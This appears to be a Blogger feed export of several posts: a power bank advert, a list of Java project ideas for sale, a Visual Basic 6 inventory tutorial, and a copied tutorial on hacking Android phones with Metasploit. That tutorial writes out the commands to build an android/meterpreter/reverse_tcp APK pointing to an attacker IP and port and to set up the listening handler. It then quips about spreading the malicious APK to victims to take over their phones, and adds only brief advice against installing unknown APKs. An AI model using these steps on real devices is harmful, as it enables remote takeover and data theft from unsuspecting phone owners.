tag:blogger.com,1999:blog-69344464667848174782024-03-13T12:39:51.707-07:00ProgrammerAll programming projects are available. Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.comBlogger66125tag:blogger.com,1999:blog-6934446466784817478.post-8980495185317217002015-04-07T02:35:00.002-07:002015-04-07T02:37:06.549-07:00Best power bank on offer<div dir="ltr" style="text-align: left;" trbidi="on">
Buy the best power bank that can jump-start your car ten times, now on offer, ksh14000 /$200 <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vh9irydUFvI/VSOjy05_uCI/AAAAAAAABsE/K-U6vE9gUd8/s1600/tmp_13219-DSC_0625-1333355201.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-vh9irydUFvI/VSOjy05_uCI/AAAAAAAABsE/K-U6vE9gUd8/s1600/tmp_13219-DSC_0625-1333355201.JPG" height="320" width="180" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-8pNsrULnTH4/VSOkybSAevI/AAAAAAAABsk/LaveXW5ZUnA/s1600/tmp_13219-DSC_0623943669200.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-8pNsrULnTH4/VSOkybSAevI/AAAAAAAABsk/LaveXW5ZUnA/s1600/tmp_13219-DSC_0623943669200.JPG" height="320" width="180" /></a></div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-62352414670145814282014-06-18T02:09:00.004-07:002014-06-18T02:09:57.541-07:00Top 10 Java Project Ideas, which one do you need fora small cost<div dir="ltr" style="text-align: left;" trbidi="on">
“Java Project Ideas” is one of the common question ask when you have to
choose a topic for you final year or semester projects. at that time you
begin to ask “<strong>what topic should you choose for you project</strong>“. It depend upon many factors what is your area of interest. Some student may have interest in <strong>Database, Networking, Cyber Security, Graphic, Cryptography, Web Development, Health Services </strong>and others. I am listing 10 projects in each category.<br />
<br />
<a href="https://www.blogger.com/null" name="more"></a><br />
<br />
<a href="https://www.blogger.com/null" name="more"></a><br />
If you are facing problem in your Java Project or Assignment, Mail Your Assignment/Project at josejaypoul@gmail.com<br />
<br />
<a href="https://www.blogger.com/null" name="more"></a><br />
<ul>
<li>Top 10 Java Project Ideas’ List with Database ,</li>
<li>Top 10 Java Project Ideas’ List With Networking,</li>
<li>Top 10 Java Project Ideas’ List Simple Java Project.</li>
</ul>
<span style="color: red;"><u><span style="font-size: medium;">Check Database Project Ideas</span></u></span><br />
According your area of interest you can choose, your choose topic and
build projects on that particular topic. If you do follow this tips It
will help you to build you projects good and in near future you can
convert it in complete software and sell it to the some company.<br />
I am providing the list of “<strong>Java Projects” </strong>you can
choose from here. The source code with SRS document is also available
here you can buy the projects and achieve good marks.<br />
<br />
<br />
<h2>
<span style="color: red;"><u>Top 10 Java Project Ideas’ List with Database</u></span></h2>
<ol>
<li>New Patient Registry Management System [<strong>Java Project IDEA</strong>]</li>
<li>MySQL Database Management Using Java [<strong>Java Projects IDEA</strong>]</li>
<li>Restaurant Billing Management System[<strong>Java Projects IDEA</strong>]</li>
<li>Library Management System [<strong>Java Projects IDEA</strong>]</li>
<li>ATM Management System [<strong>Java Projects IDEA</strong>]</li>
<li>Bus Ticket Booking Management System [<strong>Java Projects IDEA</strong>]</li>
<li>Movie Ticket Booking Management System [<strong>Java Projects IDEA</strong>]</li>
<li>Queuing Management System [<strong>Java Projects IDEA</strong>]</li>
<li>Attendance Management System [<strong>Java Projects IDEA</strong>]</li>
<li>Medical Store Billing Management System [<strong>Java Projects IDEA</strong>]</li>
</ol>
<br />
<h2>
<span style="color: red;"><u>Top 10 Java Project Ideas’ List With Networking</u></span></h2>
<ol>
<li>FTP Manager Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Chat Application Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Weather Information System Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>P2P File Sharing Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Port Scanner Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Mail Checker(POP3 or IMAP) Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Country Look-up using IP Address Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Web Application Status Checker Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Port Scanner Project in Java [<strong>Java Projects In Networking</strong>]</li>
<li>Web Bot Project in Java [<strong>Java Projects In Networking</strong>]</li>
</ol>
<br />
<h2>
<span style="color: red;"><u>Top 10 Java Project Ideas’ List Simple Java Project</u></span></h2>
<ol>
<li>Text Editor Projects in Java [<strong>Java Projects Idea for Beginners</strong>].</li>
<li>Google Search Engine Filter Project in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
<li>Currency Converter Project in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
<li>Distance Calculator using Google API [<strong>Java Projects Idea for Beginners</strong>]</li>
<li>Advanced Calculator Project in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
<li>Authentication Projects in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
<li> Folder Locker Projects in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
<li>Time Conversion by Country Java Project [<strong>Java Projects Idea for Beginners</strong>]</li>
<li>Password Manager Project in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
<li> IP address Changer Projects in Java [<strong>Java Projects Idea for Beginners</strong>]</li>
</ol>
<br />
<br />
<a href="https://www.blogger.com/null" name="more"></a></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-14654794938619027472014-05-30T01:52:00.000-07:002014-05-30T02:59:11.856-07:00Hacking Android Smartphone Tutorial using Metasploit <div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
Nowadays mobile users are increasing day by day, the security threat is also increasing together with the growth of its users. Our tutorial for today is how to <a href="http://www.hacking-tutorial.com/category/hacking-tutorial/">Hacking</a> Android Smartphone Tutorial using Metasploit. Why we choose android phone for this tutorial? simply because lately android phone growing very fast worldwide. Here in China you can get android phone for only US$ 30 it's one of the reason why android growing fast.<br />
What is android? according to <a href="http://en.wikipedia.org/wiki/Android_%28operating_system%29" target="_blank">wikipedia</a>:<br />
<blockquote>
Android is an operating system based on the Linux kernel, and designed primarily for touchscreen mobile devices such as smartphones and tablet computers. Initially developed by Android, Inc., which Google backed financially and later bought in 2005, Android was unveiled in 2007 along with the founding of the Open Handset Alliance: a consortium of hardware, software, and telecommunication companies devoted to advancing open standards for mobile devices.</blockquote>
and what is APK? according to wikipedia:<br />
<blockquote>
Android application package file (APK) is the file format used to distribute and install application software and middleware onto Google's Android operating system; very similar to an MSI package in Windows or a Deb package in Debian-based operating systems like Ubuntu.</blockquote>
Here is some initial information for this tutorial:<br />
Attacker IP address: 192.168.8.94<br />
Attacker port to receive connection: 443<br />
<span style="font-size: 16px;"><b>Requirements:</b></span><br />
1. Metasploit framework (we use <a href="http://www.hacking-tutorial.com/tag/kali-linux/">Kali Linux</a> 1.0.6 in this tutorial)<br />
2. Android smartphone (we use HTC One android 4.4 KitKat)<br />
<a href="http://www.amazon.com/gp/product/B00CMVLH66/ref=as_li_tf_il?ie=UTF8&camp=1789&creative=9325&creativeASIN=B00CMVLH66&linkCode=as2&tag=hackitutor05-20"><img border="0" src="http://ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00CMVLH66&Format=_SL160_&ID=AsinImage&MarketPlace=US&ServiceVersion=20070822&WS=1&tag=hackitutor05-20" /></a><img alt="" border="0" src="http://d289vtzrietndv.cloudfront.net/wp-content/plugins/advanced-lazy-load/shade.gif" height="1" imageholder="http://ir-na.amazon-adsystem.com/e/ir?t=hackitutor05-20&l=as2&o=1&a=B00CMVLH66" style="border: none !important; margin: 0px !important;" width="1" /><br />
<h2>
Step by Step Hacking Android Smartphone Tutorial using Metasploit:</h2>
1. Open terminal (CTRL + ALT + T) view tutorial how to <a href="http://www.hacking-tutorial.com/tips-and-trick/how-to-create-keyboard-shortcuts-on-kali-linux/">create linux keyboard shortcut</a>.<br />
2. We will utilize Metasploit payload framework to create <a href="http://www.hacking-tutorial.com/tag/exploit/">exploit</a> for this tutorial.<br />
<blockquote>
<span style="color: red;"><span style="font-family: courier new,courier,monospace;"><span style="font-size: 16px;">msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection></span></span></span></blockquote>
As described above that attacker IP address is 192.168.8.94, below is our screenshot when executed the command<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-L3T7rQbb-os/U4hNbmN-GII/AAAAAAAABR0/pEGy88qHVI0/s1600/android_hack1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-L3T7rQbb-os/U4hNbmN-GII/AAAAAAAABR0/pEGy88qHVI0/s1600/android_hack1.jpg" height="59" width="640" /></a></div>
<br />
3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type <span style="color: red;"><span style="font-family: courier new,courier,monospace;"><span style="font-size: 16px;">msfconsole</span></span></span> to go to Metasploit console.<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-1YyO7t7KLrc/U4hVAP9jG7I/AAAAAAAABSU/95WjyKONrhs/s1600/android_hack2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-1YyO7t7KLrc/U4hVAP9jG7I/AAAAAAAABSU/95WjyKONrhs/s1600/android_hack2.jpg" height="212" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-yNS42n6q6Aw/U4hT9mIBu9I/AAAAAAAABSE/ZaYAntbA6mk/s1600/android_hack2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<br />
<b>Info:</b><br />
<blockquote>
<span style="font-family: courier new,courier,monospace;"><span style="color: red;">use <a href="http://www.hacking-tutorial.com/tag/exploit/">exploit</a>/multi/handler</span> –> we will use Metasploit handler</span><br />
<span style="font-family: courier new,courier,monospace;"><span style="color: red;">set payload android/meterpreter/reverse_tcp</span> –> make sure the payload is the same with step 2</span></blockquote>
4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-HkIKYukojL0/U4hUn_LezxI/AAAAAAAABSM/kiK1DikZNGs/s1600/android_hack3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-HkIKYukojL0/U4hUn_LezxI/AAAAAAAABSM/kiK1DikZNGs/s1600/android_hack3.jpg" height="214" width="640" /></a></div>
<br />
<b>Info:</b><br />
<blockquote>
<span style="font-family: courier new,courier,monospace;"><span style="color: red;">set lhost 192.168.8.94</span> –> attacker IP address</span><br />
<span style="font-family: courier new,courier,monospace;"><span style="color: red;">set lport 443</span> –> port to listen the reverse connection</span><br />
<span style="font-family: courier new,courier,monospace;"><span style="color: red;"><a href="http://www.hacking-tutorial.com/tag/exploit/">exploit</a></span> –> start to listen incoming connection</span></blockquote>
5. Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to distribute this file, internet is the good place for distribution <img alt=":-)" class="wp-smiley" src="http://d289vtzrietndv.cloudfront.net/wp-content/plugins/advanced-lazy-load/shade.gif" imageholder="http://d289vtzrietndv.cloudfront.net/wp-includes/images/smilies/icon_smile.gif" /> ).<br />
6. Short stories the victim (me myself) download the malicious APK's file and install it. After victim open the application, attacker Metasploit console get something like this:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-TRxi4hCsUaw/U4hVbrnMdoI/AAAAAAAABSc/9y_Ka5Gn9qw/s1600/android_hack4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-TRxi4hCsUaw/U4hVbrnMdoI/AAAAAAAABSc/9y_Ka5Gn9qw/s1600/android_hack4.jpg" height="142" width="640" /></a></div>
<br />
7. It's mean that attacker already inside the victim android smartphone and he can do everything with victim phone.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Zcnh_QTP1XQ/U4hVkmiswvI/AAAAAAAABSk/F60ZXaXlAXs/s1600/android_hack5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Zcnh_QTP1XQ/U4hVkmiswvI/AAAAAAAABSk/F60ZXaXlAXs/s1600/android_hack5.jpg" height="334" width="640" /></a></div>
<br />
See the video below if you are not clear about the step by step <a href="http://www.hacking-tutorial.com/category/hacking-tutorial/">Hacking</a> Android Smartphone Tutorial using Metasploit above:<br />
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/ajBIrmnLTfA" width="560"></iframe><br />
<span style="font-size: 16px;"><b>Conclusion:</b></span><br />
1. Don't install APK's from the unknown source.<br />
2. If you really want to install APK's from unknown source, make sure you can view, read and examine the source code. The picture below is the source code of our malicious APK's in this tutorial.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-GlxDfKvzqgo/U4hV4C0CS0I/AAAAAAAABSs/8RPyKBlZU3g/s1600/android_hack6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-GlxDfKvzqgo/U4hV4C0CS0I/AAAAAAAABSs/8RPyKBlZU3g/s1600/android_hack6.jpg" height="356" width="640" /></a></div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-30653827927833797532013-11-07T00:35:00.001-08:002013-11-07T00:35:20.928-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h2 align="center">
<span style="font-family: Verdana;">Visual Basic 6 Inventory Management System</span></h2>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">All businesses involve inventory and need to manage it efficiently to ensure smooth running of the business activities and profitability. To manage inventory efficiently, business owners need to develop a good inventory management system . Building a sound inventory management system usually incur high cost. Fortunately, we can use Visual Basic 6 to build an inventory management system which does not require big capital, you can do it at home. In Visual Basic 6, there are a number of built-in database management tools which we can use to manage the data.</span></div>
<table border="1" id="table1" style="width: 100%px;"><tbody>
<tr><td></td><td><div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;"> To start building a good inventory system, we need to have a good planning. First of all, you have to sit down with your client to get detail information about his or her businesses and establish the kind of system he or she wants. For example, you need to know what types of goods they are dealing with, the turn-over volumes, cost prices, selling prices and more. Besides that, you need to know what kind of documents the system needs to deal with like invoices, delivery orders and more.</span></div>
</td></tr>
</tbody></table>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">After getting all the necessary information from your client, you can then start to build a database. Based on the number and types of products, you need to decide what are the variables or fields needed to be included in the database’s tables.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">The figure below shows the inventory management system developed by us using Visual Basic 6.</span></div>
<br />
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;"> To start building a good inventory system, we need to have a good planning. First of all, you have to sit down with your client to get detail information about his or her businesses and establish the kind of system he or she wants. For example, you need to know what types of goods they are dealing with, the turn-over volumes, cost prices, selling prices and more. Besides that, you need to know what kind of documents the system needs to deal with like invoices, delivery orders and more.</span></div>
<br />
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">After getting all the necessary information from your client, you can then start to build a database. Based on the number and types of products, you need to decide what are the variables or fields needed to be included in the database’s tables.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">The figure below shows the inventory management system developed by us using Visual Basic 6.</span></div>
<span style="font-family: Verdana;">
<img src="http://www.vbtutor.net/wordpress/wp-content/uploads/2013/01/inventory.jpg" />
</span>
<br />
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<br /></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">We shall use a hypothetical case to illustrate how to build an inventory system as shown above. Let’s say our client is dealing with electrical goods.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<b style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; font-weight: bold; margin: 0px; padding: 0px; vertical-align: top;">Step 1: Creating the database tables</b></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">To design the database tables, we need to determine how many tables are needed. In order to keep things simple, we shall limit to two tables in our example.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">The first table shall be used to store the data of the inventory or stock in hand. The second table shall be used to record stocks coming in and stocks going out.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">The first table shall comprise the following fields:</span></div>
<table border="1" id="table2" style="width: 100%px;"><tbody>
<tr><td><br />
<ul style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; list-style: square; margin: 0px 0px 24px 1.5em; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;"><span style="font-family: Verdana; font-size: x-small;"><span style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; line-height: 16px; margin: 0px; padding: 0px; vertical-align: top;">Category</span></span></li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Brand</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Item Description</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Model Number</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Stock</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Unit Cost</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Total Cost</li>
</ul>
</td></tr>
</tbody></table>
<br />
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3033628290023372";
/* Inventory Management System */
google_ad_slot = "4947304709";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script><br />
<br />
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial 50%; background-repeat: initial initial; border: 0px none; color: #333333; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin-bottom: 24px; margin-left: 0px; margin-right: 0px; margin-top: 0px; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">The second table shall comprise the following fields:</span></div>
<ul style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #333333; font-family: Georgia, 'Bitstream Charter', serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; list-style: square; margin: 0px 0px 24px 1.5em; orphans: auto; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; vertical-align: top; white-space: normal; widows: auto; word-spacing: 0px;">
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;"><span style="font-family: Verdana; font-size: x-small;"><span style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; line-height: 16px; margin: 0px; padding: 0px; vertical-align: top;">Date</span></span></li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Category</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Brand</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Item Description</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Model Number</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Stock In</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Stock Out</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Unit Cost</li>
<li style="background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; margin: 0px; padding: 0px; vertical-align: top;">Total Cost</li>
</ul>
<span style="font-family: Arial; font-size: x-small;"><span style="font-family: Verdana; font-size: x-small;">
</span></span>
<div style="line-height: 150%;">
<span style="font-family: Arial; font-size: x-small;"><span style="font-family: Verdana; font-size: x-small;">In our example, we named the first table Inventory and the second table Stock .After designing the tables, we can then proceed to create a database that comprises the two tables. We can either use Microsoft Access to create the database or we can use the built-in Visual Data Manager in Visual Basic 6. Visual Data Manager can be used to create tables, add new data as well as edit data. Besides that, it can be used to modify table structure. To learn how to create database using Visual Data Manager, follow the link below:</span></span></div>
<div style="line-height: 150%;">
<span style="font-family: Arial; font-size: x-small;"><span style="font-family: Verdana; font-size: x-small;"><a href="http://www.vbtutor.net/index.php/creating-database-using-visual-data-manager/">http://www.vbtutor.net/index.php/creating-database-using-visual-data-manager/</a></span></span></div>
<span style="font-family: Arial; font-size: x-small;"><span style="font-family: Verdana; font-size: x-small;">
</span>
<br />
</span><b><span style="font-family: Verdana;">Step 2 : Inserting controls into Form</span></b><br />
<span style="font-family: Verdana; font-size: x-small;">The next step is to insert some relevant controls into the form for displaying and manipulating the data of the database. The controls to be inserted are ADO controls, DataGrid controls, FlexGrid control and various command buttons. DataGrid controls and FlexGrid controls are used to display and store the data from the database tables. On the other hand, ADO is used to manipulate the database such as connecting the DataGrid and FleGrid to the database.</span><br />
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Simsun; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-family: Verdana; font-size: x-small;"><span class="Apple-converted-space"> </span><b>ADO</b><span class="Apple-converted-space"> </span>stands for<span class="Apple-converted-space"> </span><b>ActiveX data objects</b>. As ADO is ActiveX-based, it can work in different platforms (different computer systems) and different programming languages. Besides, it can access many different kinds of data such as data displayed in the Internet browsers, email text and even graphics other than the usual relational and non<span lang="en-us"><span class="Apple-converted-space"> </span></span>relational database information.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Simsun; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-family: Verdana; font-size: x-small;">To be able to use ADO data control, you need to insert it into the toolbox. To do this, simply press Ctrl+T to open the components dialog box and select Microsoft ActiveX Data Control 6. After this, you can proceed to build your ADO-based VB database applications.</span></div>
